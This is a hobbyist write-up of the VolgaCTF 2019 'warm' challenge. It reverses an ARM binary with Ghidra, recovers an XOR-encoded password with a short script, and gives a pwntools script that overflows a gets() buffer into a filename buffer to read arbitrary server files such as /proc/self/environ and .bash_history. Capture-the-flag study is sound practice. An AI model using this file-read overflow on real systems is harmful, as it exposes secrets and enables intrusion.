Write up for Volga ctf warm challenge.
Given was a stripped ARM elf binary, a server address and port to connect to.
This was my first time reverse engineering something written for a ARM architecture. I knew that hopper and ghidra can handle arm binaries, but I had to read up a bit on how to set up a testing environment for debugging.
I ended up using Ghidra to reverse engineer, Qemu as emulator and gdb-multiarch to debug.
the Reverse engineering.
I load the file up in ghidra and browse though the dissassembled code.
while renaming functions and variables.
Main()
undefined4 mainthing(void) { int iVar1; int __c; FILE *__stream; byte given_passwd [100]; char filename [100]; iVar1 = __stack_chk_guard; setvbuf(stdout,(char *)0x0,2,0); while( true ) { while( true ) { flag_filename_on_stack(filename); puts("Hi there! I\'ve been waiting for your password!"); gets((char *)given_passwd); __c = passwordcheck(given_passwd); if (__c == 0) break; error_handle_thing(1,0); } __stream = fopen(filename,"rb"); if (__stream != (FILE *)0x0) break; error_handle_thing(2,filename); } while (__c = _IO_getc((_IO_FILE *)__stream), __c != -1) { putchar(__c); } fclose(__stream); if (iVar1 == __stack_chk_guard) { return 0; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }
The buffer for the given_passwd is 100bytes and the input is fetched using gets instead of fgets on stdin in witch you can set the amount of bytes you want to read. Resulting in a classic overflow vulnerability. But there is a stack canary set and checked and we will overwrite this if we try to overflow into a return pointer. So lets look a little further down the road.
The password gets passed to passwordcheck() and if it returns anything other than 0 will break out of the loop and calls the error_handle_thing() function with 1,0 as arguments.
if the passwordcheck returns 0 it will try to open the file filename, if it can’t be opened error_handle_thing() gets called with 2 and filename as arguments.
otherwise it will write it’s contents to stdout.
passwordcheck()
undefined4 passwordcheck(byte *passw) { size_t sVar1; undefined4 uVar2; sVar1 = strlen((char *)passw); if (sVar1 < 0x10) { uVar2 = 1; } else { if (((((*passw == 0x76) && ((passw[1] ^ *passw) == 0x4e)) && ((passw[2] ^ passw[1]) == 0x1e)) && ((((passw[3] ^ passw[2]) == 0x15 && ((passw[4] ^ passw[3]) == 0x5e)) && (((passw[5] ^ passw[4]) == 0x1c && (((passw[6] ^ passw[5]) == 0x21 && ((passw[7] ^ passw[6]) == 1)))))))) && (((passw[8] ^ passw[7]) == 0x34 && ((((((passw[9] ^ passw[8]) == 7 && ((passw[10] ^ passw[9]) == 0x35)) && ((passw[0xb] ^ passw[10]) == 0x11)) && (((passw[0xc] ^ passw[0xb]) == 0x37 && ((passw[0xd] ^ passw[0xc]) == 0x3c)))) && (((passw[0xe] ^ passw[0xd]) == 0x72 && ((passw[0xf] ^ passw[0xe]) == 0x47)))))))) { uVar2 = 0; } else { uVar2 = 2; } } return uVar2; }
This function has one argument (the password) and 3 return values.
if the the argument is smaller than 0x10 it will return 1,
if the password matches all these xor conditions it will return 0
and if not it will return 2.
So lets have a good look at all these conditions the password have to meet.
the first byte has to be 0x76 (‘v’ in ascii)
the second byte gets xored with the first one and has to be equal to 0x4e
the 3th gets xored with the second and has to equal 0x1e.
and so on and so on..
all characters get xored with the previous one and gets checked with a static value.
A^B = C we have C and xor is reverseable like so A^C = B
We know that the first character value is 0x76.
so let’s make a little script to recover the password.
A = 0x76 C_list = [0x4e, 0x1e, 0x15, 0x5e, 0x1c, 0x21, 0x01, 0x34, 0x07, 0x35, 0x11, 0x37, 0x3c, 0x72, 0x47] password=chr(A) for C in C_list: B = A^C A = B password = password+chr(A) print(password)
if we run the script we get the password v8&3mqPQebWFqM?x
note that the function only checks if the length is not smaller than 0x10.
So, as long and only the fist 16 charters gets checked.
If we append our recovered password with some more bytes the passwordcheck() function will still return 0.
flag_filename_on_stack()
void flag_filename_on_stack(char *pcParm1) { char *envionflag; undefined4 flag; undefined local_24; undefined4 FLAG; undefined4 _FIL; undefined2 E; int local_14; local_14 = __stack_chk_guard; FLAG = 0x47414c46; _FIL = 0x4c49465f; E = 0x45; envionflag = getenv((char *)&FLAG); flag = 0x67616c66; local_24 = 0; if (envionflag == (char *)0x0) { strcpy(pcParm1,(char *)&flag); } else { strcpy(pcParm1,envionflag); } if (local_14 != __stack_chk_guard) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
What happens here is that if the environment value FLAG is set it will get that and place it on the memory address given as argument.
and if the environment value FLAG is not there it will place ‘flag’ on that memory address.
conclusion:
There is a buffer overflow in passwd but, It looks like everything is set up to print the flag if the right password is provided.
Dissapointment.
Having recovered the password I connect to the server using nc and send the password hoping to receive a flag.
No such luck.
It accepted my recovered password but returned the string:
Seek file with something more sacred!
nc warm.q.2019.volgactf.ru 443
Exploitation
We can not overwrite a return pointer without overwriting the stack canary and making the stack check fail.
but if we look at the placement of filename and passwd buffers. we see that filename is placed right after passwd on the stack.
char[100] Stack[-0x78] filename byte[100] Stack[-0xdc] given_passwd
If we would overflow passwd we can write into the filename that gets printed further down the main fucntion.
Lets do that and make a little script to help us.
#!/usr/bin/python # -*- coding: utf-8 -*- #------------------------------------------------------------------------------- # CONFIG. from pwn import * context.log_level = 'info' target = "warm.q.2019.volgactf.ru" port = 443 timeout=5 password = "v8&3mqPQebWFqM?x" buffer= "A"*(100-len(password)) #------------------------------------------------------------------------------- # Xploit io = remote(target,port) while 1: try: log.info(io.recvuntil("password!",timeout=timeout)) filename = raw_input("filename or quit:") if filename == "quit": break io.sendline(password+buffer+filename) except: log.warning("connection dropped") io.close() io = remote(target,port) #----------------------------------------------------------------------
Frustration.
The exploit works like a charm.
The only problem is that without being able to use wildcards or get a directory listing, there is a lot of guess work involved.
The first thing I did was check for a flag file. It was there, it contained the string that was printed when we just provide the password without overflowing.
Then I checked en environmet values by taking a look at /proc/self/environ I though maybe they hide a clue there since the flag_filename_on_stack() checks if the value FLAG is set in environment.
Also no luck.
After some time trying to find the flag in all sort of places or try to find hints of were the flag might be hiding in places like /home/ubuntu/.bash_history
I decided to pipe a wordlist of linux file paths to stdin of the script en piped the output to a file witch I grep for a flag formatted strings also no results. I grep for base64 endcoded stuff, no luck there as well.
Then I scrolled trough 1000’s of lines of config files and other junk by hand looking for something that could be hiding a flag.
After a lot of frustration I check the code again to see if I’ve missed something. look for a way to leak the stack canary. I can get the base-offset of the bin stack heap and libc by leaking /proc/self/maps
but i could not find a way to get around the stack canary and use the ret to libc method to pop a shell.
At this point sunshineCTF was started, so I left VolgaCTF for what it was.
(no fun and a heaping pile of s….frustration)
This morning I read in a write-up about this challenge that the flag was in the a file named sacred ..
Seek file with something more sacred!
nc warm.q.2019.volgactf.ru 443
So yeah, there was a hint in the flag file that I did not get,
but I think they are a bunch of@$$#*!€$ !!!!!
Also; Big props to the NSA for releasing Ghidra to the public.
the disassembly is so good, I din’t even had to look at instruction listing much and the arm architecture guide not even once, even though i’m not so familiar with the ARM instruction set.
America 1 – Russia 0